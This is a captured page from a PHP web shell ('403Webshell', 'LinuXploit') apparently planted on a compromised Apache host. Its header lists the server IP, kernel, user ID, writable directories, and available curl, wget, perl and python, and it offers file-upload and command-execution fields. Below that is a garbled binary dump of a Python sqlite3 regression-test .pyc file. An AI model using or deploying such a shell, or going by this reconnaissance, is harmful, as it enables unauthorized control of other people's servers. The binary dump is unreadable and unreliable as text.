403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/sqlite3/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/sqlite3/test/__pycache__/regression.cpython-36.opt-2.pyc
3

�
�^@�@s�ddlZddlZddlZddlZddlmZGdd�dej�ZGdd�d�Z	Gdd�dej�Z
d	d
�Zdd�Zed
kr|e�dS)�N)�supportc@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	e
jej
d=kd�dd��Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Zd0d1�Zd2d3�Zd4d5�Zd6d7�Z d8d9�Z!d:d;�Z"d<S)>�RegressionTestscCstjd�|_dS)Nz:memory:)�sqlite�connect�con)�self�r�//opt/alt/python36/lib64/python3.6/regression.py�setUpszRegressionTests.setUpcCs|jj�dS)N)r�close)rrrr	�tearDown"szRegressionTests.tearDowncCs|jj�}|jd�dS)Nzpragma user_version)r�cursor�execute)r�currrr	�CheckPragmaUserVersion%s
z&RegressionTests.CheckPragmaUserVersionc
Cs@tjdtjd�}z|jj�}|jd�Wd|j�|j�XdS)Nz:memory:)�detect_typeszpragma schema_version)rrZPARSE_COLNAMESrr
rr)rrrrrr	�CheckPragmaSchemaVersion*s
z(RegressionTests.CheckPragmaSchemaVersioncs�tjddd���fdd�td�D�}|djd�x.td�D]"}|djd	d
d�td�D��q<Wx&td�D]}||jd|d�qlW�j�dS)
Nz:memory:�)Zcached_statementscsg|]}�j��qSr)r
)�.0�x)rrr	�
<listcomp>9sz7RegressionTests.CheckStatementReset.<locals>.<listcomp>rzcreate table test(x)�
zinsert into test(x) values (?)cSsg|]
}|f�qSrr)rrrrr	r<s� zselect x from test)rr�ranger�executemany�rollback)r�cursors�ir)rr	�CheckStatementReset4s"z#RegressionTests.CheckStatementResetcCsN|jj�}|jd�|j|jddd�|jd�|j|jddd�dS)Nz select 1 as "foo bar [datetime]"rzfoo barzselect 1 as "foo baz"zfoo baz)rr
r�assertEqual�description)rrrrr	�CheckColumnNameWithSpacesCs



z)RegressionTests.CheckColumnNameWithSpacescCsPtjd�}g}x4td�D](}|j�}|j|�|jdt|��qW|j�dS)Nz:memory:�izselect 1 x union select )rrrr
�appendr�strr)rrrrrrrr	�#CheckStatementFinalizationOnCloseDbKs

z3RegressionTests.CheckStatementFinalizationOnCloseDb��zneeds sqlite 3.2.2 or newercCs�tjd�}|jd�|jd�y|jd�Wntjk
rBYnX|jd�y|j�Wn tjk
rz|jd�YnXdS)Nz:memory:z3create table foo(x, unique(x) on conflict rollback)zinsert into foo(x) values (1)zinsert into foo(x) values (2)z1pysqlite knew nothing about the implicit ROLLBACK)rrrZ
DatabaseError�commit�OperationalErrorZfail)rrrrr	�CheckOnConflictRollbackYs



z'RegressionTests.CheckOnConflictRollbackcCs(|jjd�|jjd�|jjd�dS)Nzcreate table foo(bar)zdrop table foo)rr)rrrr	�-CheckWorkaroundForBuggySqliteTransferBindingshsz=RegressionTests.CheckWorkaroundForBuggySqliteTransferBindingscCs|jjd�dS)N�)rr)rrrr	�CheckEmptyStatementqsz#RegressionTests.CheckEmptyStatementcCshd}tjdtjd�}|jd�|jdtjj�f�|j|�|jd�|jd�|jd�|j|�dS)	Nzselect * from fooz:memory:)rzcreate table foo(bar timestamp)zinsert into foo(bar) values (?)zdrop table foozcreate table foo(bar integer)zinsert into foo(bar) values (5))rr�PARSE_DECLTYPESr�datetimeZnow)rZSELECTrrrr	�CheckTypeMapUsagexs




z!RegressionTests.CheckTypeMapUsagecCsP|jtj��$}|jjdttdg��f�j�WdQRXd}|j|t	|j
��dS)Nz"select 'xxx' || ? || 'yyy' colname�z9Could not decode to UTF-8 column 'colname' with text 'xxx)�assertRaisesrr)rr�bytes�	bytearray�fetchoneZassertInr$Z	exception)r�cm�msgrrr	�CheckErrorMsgDecodeError�s
 z(RegressionTests.CheckErrorMsgDecodeErrorcCs|jttjid�dS)N)r2�	TypeErrorrZregister_adapter)rrrr	�CheckRegisterAdapter�sz$RegressionTests.CheckRegisterAdaptercs�G�fdd�dt�}tjd��d�_xHdD]@}|j|d��*|�_|j��_|j��_||��_WdQRXq*Wd�_d�_d	tfd
tfdtfdtfd
tfg}xR|D]J\}}|j|d��0|j	|��|�_WdQRX|j
�jd�WdQRXq�WdS)Ncs eZdZdd�Z�fdd�ZdS)z9RegressionTests.CheckSetIsolationLevel.<locals>.CustomStrcSsdS)Nr)rrrr	�upper�sz?RegressionTests.CheckSetIsolationLevel.<locals>.CustomStr.uppercs
d�_dS)Nr,)�isolation_level)r)rrr	�__del__�szARegressionTests.CheckSetIsolationLevel.<locals>.CustomStr.__del__N)�__name__�
__module__�__qualname__r;r=r)rrr	�	CustomStr�srAz:memory:r,�DEFERRED�	IMMEDIATE�	EXCLUSIVE)�level���abczIMMEDIATEEXCLUSIVE�é)r,rBrCrD)r$rrr<�subTest�lower�
capitalizer9�
ValueErrorr2r)rrArEZpairs�value�excr)rr	�CheckSetIsolationLevel�s$



z&RegressionTests.CheckSetIsolationLevelcCspGdd�dtj�}tjd�}||�}|jtj��|jd�j�WdQRX|jtjd��|j�WdQRXdS)Nc@seZdZdd�ZdS)z?RegressionTests.CheckCursorConstructorCallCheck.<locals>.CursorcSsdS)Nr)rrrrr	�__init__�szHRegressionTests.CheckCursorConstructorCallCheck.<locals>.Cursor.__init__N)r>r?r@rQrrrr	�Cursor�srRz:memory:z
select 4+5z$^Base Cursor\.__init__ not called\.$)	rrRrr2�ProgrammingErrorr�fetchall�assertRaisesRegexr)rrRrrrrr	�CheckCursorConstructorCallCheck�s
z/RegressionTests.CheckCursorConstructorCallCheckcCs(Gdd�dt�}|jjd|d�f�dS)Nc@seZdZdS)z/RegressionTests.CheckStrSubclass.<locals>.MyStrN)r>r?r@rrrr	�MyStr�srWzselect ?rH)r$rr)rrWrrr	�CheckStrSubclass�sz RegressionTests.CheckStrSubclassc	Cs>Gdd�dtj�}|d�}|jtj��|j�}WdQRXdS)Nc@seZdZdd�ZdS)zGRegressionTests.CheckConnectionConstructorCallCheck.<locals>.ConnectioncSsdS)Nr)r�namerrr	rQ�szPRegressionTests.CheckConnectionConstructorCallCheck.<locals>.Connection.__init__N)r>r?r@rQrrrr	�
Connection�srZz:memory:)rrZr2rSr
)rrZrrrrr	�#CheckConnectionConstructorCallCheck�sz3RegressionTests.CheckConnectionConstructorCallCheckc	s�G�fdd�dtj�}Gdd�dtj��|d�}|j�}|jd�|jddd
dg�|jd�|j�|jtj��|j	�WdQRXdS)NcseZdZ�fdd�ZdS)z;RegressionTests.CheckCursorRegistration.<locals>.Connectioncs�|�S)Nr)r)rRrr	r
�szBRegressionTests.CheckCursorRegistration.<locals>.Connection.cursorN)r>r?r@r
r)rRrr	rZ�srZc@seZdZdd�ZdS)z7RegressionTests.CheckCursorRegistration.<locals>.CursorcSstjj||�dS)N)rrRrQ)rrrrr	rQ�sz@RegressionTests.CheckCursorRegistration.<locals>.Cursor.__init__N)r>r?r@rQrrrr	rR�srRz:memory:zcreate table foo(x)zinsert into foo(x) values (?)r&�rzselect x from foo)r&)r\)r)
rrZrRr
rrrr2ZInterfaceErrorrT)rrZrrr)rRr	�CheckCursorRegistration�s

z'RegressionTests.CheckCursorRegistrationcCstjddd�}dS)Nz:memory:)r<)rr)rrrrr	�CheckAutoCommit�szRegressionTests.CheckAutoCommitcCs4|jj�}|jd�|jd�|jd�|j�}dS)Nzcreate table foo(bar)zinsert into foo(bar) values (5)zpragma page_size)rr
rr5)rr�rowrrr	�CheckPragmaAutocommit�s




z%RegressionTests.CheckPragmaAutocommitcCs|jtj|jd�dS)NrF)r2r�Warningr)rrrr	�CheckConnectionCallsz#RegressionTests.CheckConnectionCallcCs"dd�}|jtj|jjd|�dS)NcSsdS)NrFr)�a�brrr	�collation_cbsz4RegressionTests.CheckCollation.<locals>.collation_cbu�)r2rrSrZcreate_collation)rrerrr	�CheckCollation
szRegressionTests.CheckCollationcsftjd�}|j���jd��jd��fdd�}|jtj���jddd�|�D��WdQRXdS)	Nz:memory:zcreate table a (bar)zcreate table b (baz)c3s�jdd�dVdS)Nzinsert into a (bar) values (?)rF)rF)rr)rrr	�foosz4RegressionTests.CheckRecursiveCursorUse.<locals>.foozinsert into b (baz) values (?)css|]}|fVqdS)Nr)rrrrr	�	<genexpr>$sz:RegressionTests.CheckRecursiveCursorUse.<locals>.<genexpr>)rrr
rr2rSr)rrrgr)rr	�CheckRecursiveCursorUses


z'RegressionTests.CheckRecursiveCursorUsecCs�tjdtjd�}|j�}|jd�|jd�|jd�|jd�dd�|j�D�}|j|tjd	d
d
ddd
d�tjd	d
d
ddd
d�g�dS)Nz:memory:)rzCREATE TABLE t (x TIMESTAMP)z4INSERT INTO t (x) VALUES ('2012-04-04 15:06:00.456')z:INSERT INTO t (x) VALUES ('2012-04-04 15:06:00.123456789')zSELECT * FROM tcSsg|]}|d�qS)rr)rrrrr	r9szKRegressionTests.CheckConvertTimestampMicrosecondPadding.<locals>.<listcomp>i�r\��ri@�i@�)rrr.r
rrTrr/)rrr�valuesrrr	�'CheckConvertTimestampMicrosecondPadding&s



z7RegressionTests.CheckConvertTimestampMicrosecondPaddingcCs|jttjddd�dS)Nz:memory:�{)r<)r2r9rr)rrrr	�CheckInvalidIsolationLevelType@sz.RegressionTests.CheckInvalidIsolationLevelTypecCsRtjd�}|jt|d�|jt|d�|j�}|jt|jd�|jt|jd�dS)Nz:memory:z	select 1z	select 1z
 select 2z	select 2)rrr2rMr
r)rrrrrr	�CheckNullCharacterFs
z"RegressionTests.CheckNullCharactercCs�tjd�}|jd�|j|jd�d}x�t|jd��D]�\}}|j||d��p|jd|f�|j�|dkr~|j|dd�n2|dkr�|j|dd�n|d	kr�|j|dd	�|d7}WdQRXq6W|j|d
d�dS)Nz:memory:z�
        create table t(c);
        create table t2(c);
        insert into t values(0);
        insert into t values(1);
        insert into t values(2);
        r,rzselect c from t)rr_zinsert into t2(c) values (?)rFr'r&z'should have returned exactly three rows)	rrZ
executescriptrr<�	enumeraterrJr()rrZcounterrr_rrr	�CheckCommitCursorResetOs"
z&RegressionTests.CheckCommitCursorResetcCsBdd�}tjd�}tj|�}tj||�}|j|�~~tj�dS)NcWsdS)Nr)�argsrrr	�callbackssz/RegressionTests.CheckBpo31770.<locals>.callbackz:memory:)rrrR�weakref�refrQrZ
gc_collect)rrtrrrvrrr	�
CheckBpo31770ns


zRegressionTests.CheckBpo31770N)r&r'r')#r>r?r@r
rrrrr!r%�unittestZskipIfrZsqlite_version_infor*r+r-r0r8r:rPrVrXr[r]r^r`rbrfrirmrorprrrwrrrr	rs8
		
	rc@s"eZdZdZddd�Zdd�ZdS)�UnhashableFuncNcCsd|_||_dS)Nr)�calls�return_value)rr{rrr	rQ�szUnhashableFunc.__init__cOs|jd7_|jS)NrF)rzr{)rrs�kwargsrrr	�__call__�szUnhashableFunc.__call__)N)r>r?r@�__hash__rQr}rrrr	rys
ryc@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�UnhashableCallbacksTestCasecCstjd�|_dS)Nz:memory:)rrr)rrrr	r
�sz!UnhashableCallbacksTestCase.setUpcCs|jj�dS)N)rr)rrrr	r�sz$UnhashableCallbacksTestCase.tearDownc
CsLtdd�}|jtd��|jj|d�WdQRX|jjd�|j|j�dS)Nr)r{zunhashable typerFzSELECT 1)ryrUr9rZset_progress_handlerr�assertFalserz)r�frrr	�test_progress_handler�s

z1UnhashableCallbacksTestCase.test_progress_handlercCstd}t�}|jtd��|jj|d|�WdQRXd|}|jtj|��|jjd|�WdQRX|j|j	�dS)N�	func_namezunhashable typerzno such function: %szSELECT %s())
ryrUr9rZcreate_functionrr)rr�rz)rr�r�r7rrr	�	test_func�sz%UnhashableCallbacksTestCase.test_funcc	CsLttjd�}|jtd��|jj|�WdQRX|jjd�|j|j	�dS)N)r{zunhashable typezSELECT 1)
ryrZSQLITE_DENYrUr9rZset_authorizerrr�rz)rr�rrr	�test_authorizer�s
z+UnhashableCallbacksTestCase.test_authorizercCszGdd�dt�}d}|jtd��|jj|d|dfi��WdQRXd|}|jtj|��|jjd|�WdQRXdS)	Nc@seZdZdZdS)z=UnhashableCallbacksTestCase.test_aggr.<locals>.UnhashableTypeN)r>r?r@r~rrrr	�UnhashableType�sr��	aggr_namezunhashable typerZAggrzno such function: %szSELECT %s())�typerUr9rZcreate_aggregaterr)r)rr�r�r7rrr	�	test_aggr�s"z%UnhashableCallbacksTestCase.test_aggrN)	r>r?r@r
rr�r�r�r�rrrr	r�s
rcCs tjtd�}tj|tjt�f�S)NZCheck)rxZ	makeSuiterZ	TestSuiter)Zregression_suiterrr	�suite�sr�cCstj�}|jt��dS)N)rxZTextTestRunnerZrunr�)Zrunnerrrr	�test�sr��__main__)
r/rxZsqlite3rrur�rZTestCaserryrr�r>rrrr	�<module>sc0

Youez - 2016 - github.com/yon3zu
LinuXploit